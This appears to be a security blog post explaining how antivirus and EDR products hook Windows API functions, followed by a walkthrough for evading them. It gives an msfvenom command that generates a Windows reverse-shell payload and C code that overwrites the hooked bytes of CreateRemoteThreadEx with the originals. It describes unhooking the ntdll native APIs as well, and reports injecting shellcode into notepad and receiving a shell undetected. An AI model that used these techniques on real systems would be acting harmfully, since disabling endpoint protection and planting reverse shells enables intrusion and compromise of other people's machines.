Bypassing AV Hooking Techniques

 Introduction:

Hello all, in this blog I'll be talking about how AV and EDRs hook programs to detect malicious activity or raise suspicions and we'll try to bypass it.

What is Hooking?

Hooking is a function monitoring technique in which an AV/EDR redirects the function calls to it's own dll and then analyze what the calls are doing and decide whether the functions calls are being used for malicious purposes or not. 

Hooking: Under The Hood

The AV/EDR products injects it own DLL in to the target process and modify/tamper the userland windows

api and changed the functions first bytes to make a jmp, what the jmp instruction will do is that it will 

change the flow of the execution and jump to the DLL module that was injected by the AV/EDR from there 

it will inspect and run checks on whether the call made to function is malicious or not, it does so by

examining the arguments that were called by those functions.  

For this experiment I'll be using Shellcode-In-Memory Decoder injector tool from github, I have made some changes to the program to fit my needs for the purpose of this blog. If you want to learn how to use this tool kindly refer to my Bypass Defender (Simple Trick) blog

msfvenom using the following command:

 

msfvenom -a x64 --platform windows -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f py 

 

Hooked Calls Vs Unhooked Calls

 Hopefully the below images will make things a little clear on what hooking actually looks like. For this

blog I'll be using BitDefender total security (Trial version). 

I'll be using x64dbg to examine the hooked functions. 

The above image shows that the dll is injected by the AV

Hooked Functions:

The above image is the suspicious jmp instruction that is made to the AV module. 

 

Unhooked Functions: 

This is the same functions but without hook.  

 Let's get in to the fun stuff, I am going to be bypassing these hooks and injecting shellcode and 

try to receive a call back on metasploit. 

 

Unhooking the Hooks:


Now usually the AV/EDR do not hook all the functions instead they hook the ones that are often used

for malicious purposes for eg. VirtualProtect, NtWriteVirtualMemory, NtOpenProcess etc. (I'll be writing

more about the windows api in another blog). So I'll identify the hooks in those that are commonly abused

functions and I am going to unhook that function restore to it's original bytes. 

For eg. we saw in the above screenshot that NtOpenProcess was hooked I am going to restore those bytes

to the original one. Let's copy the original bytes of the function and paste in the hooked one:

Nice! in the above screenshot you can see that the function is restored to it's original bytes. 

Now, In the program that I am using the following Windows Apis are being used:

1. OpenProcess

2. VirtualAllocEx

3. WriteProcessMemory

4. CreateRemoteThread

Now the thing is that these functions belong to the kernel32.dll module inside these functions are 

ntdll.dll functions (Native Apis), we can say that kernel32 is a wrap around ntdll functions and what 

the AV/EDRs do is that they hook win32 apis (Kernel32 functions) as well as Native Apis (ntdll functions)

which means is that I have to unhook the native apis as well and that involves NtOpenProcess, 

NtWriteVirtualMemory, NtProtectVirtualMemory etc. 

After unhooking all the functions that were hooked. Let's see if  we receive a shell. 


I injected the shellcode in the notepad process and received the shell without the AV detection :) 

Patch: 

To patch the AV functions I used GetModuleHandle to get the handle of the DLL and GetProcAddress

to get the function address from the DLL, I also used WriteProcessMemory to patch the functions to 

the original bytes. 

In the below example I have patched CreateRemoteThreadEx function. First we get the handle of the

kernelbase.dll using that handle we are going to get the address of CreateRemotThreadEx function 

and store it in CRT_address and finally WriteProcessMemory will take that address and patch it with 

the original bytes. 

 

HANDLE kernalbase_handle = GetModuleHandle("kernelbase");
HANDLE ntdll_handle = GetModuleHandle("ntdll");
LPVOID CRT_address = GetProcAddress(kernalbase_handle, "CreateRemoteThreadEx");

if (WriteProcessMemory(GetCurrentProcess(), CRT_address, "\x4C\x8B\xDC\x53\x56", 5 , NULL)){

printf("[+] CreateRemoteThreadEx unhooking done!\n");
}

Conclusion: 

Hooking is an interesting concept and it has been around for quite sometime. There are protections to

stop the patching but hackers have always found new ways to bypass protection. It's a cat and mouse

chase. The defenders are going to patch, update and try to fix everything while an attacker will always find new

ways to attack.